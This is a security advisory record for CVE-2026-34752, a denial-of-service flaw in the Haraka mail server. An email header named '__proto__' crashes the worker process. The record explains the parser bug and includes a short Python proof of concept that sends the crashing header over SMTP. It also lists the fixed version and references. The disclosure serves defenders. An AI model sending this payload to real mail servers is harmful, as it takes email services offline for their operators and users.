{"id":"CVE-2026-34752","aliases":["GHSA-xph3-r2jf-4vp3"],"url":"https://o3.security/vulnerability/CVE-2026-34752","summary":"Haraka affected by DoS via `__proto__` email header","details":"### Summary\n\nSending an email with `__proto__:` as a header name crashes the Haraka worker process. \n\n### Details\n\nThe header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:\n\n```javascript\n_add_header(key, value, method) {\n    this.headers[key] ??= []          // line 216\n    this.headers[key][method](value)  // line 217\n}\n```\n\nWhen `key` is `__proto__`:\n1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter)\n2. `Object.prototype` is not null/undefined, so `??=` is skipped\n3. `Object.prototype.push(value)` throws `TypeError: not a function`\n\nThe TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:\n\n```js\nprocess.on('uncaughtException', (err) => {\n    if (err.stack) {\n        err.stack.split('\\n').forEach((line) => logger.crit(line))\n    } else {\n        logger.crit(`Caught exception: ${JSON.stringify(err)}`)\n    }\n    logger.dump_and_exit(1)\n})\n```\n\n### PoC\n\n```python\nimport socket, time\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(5)\nsock.connect((\"127.0.0.1\", 2525))\nsock.recv(4096)\nsock.sendall(b\"EHLO evil\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"MAIL FROM:<x@x.com>\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"RCPT TO:<user@haraka.local>\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"DATA\\r\\n\"); sock.recv(4096)\n# Crash payload\nsock.sendall(b\"From: x@x.com\\r\\n__proto__: crash\\r\\n\\r\\nbody\\r\\n.\\r\\n\")\n```\n\n### Impact\n\nIn single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.","published":"2026-04-02T18:42:38.367Z","modified":"2026-08-12T03:51:47.878515852Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"Haraka","fixedVersion":"3.1.4"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/haraka/Haraka/releases/tag/v3.1.4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34752.json"},{"type":"ADVISORY","url":"https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34752"},{"type":"PACKAGE","url":"https://github.com/haraka/Haraka"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:47.878515852Z"}}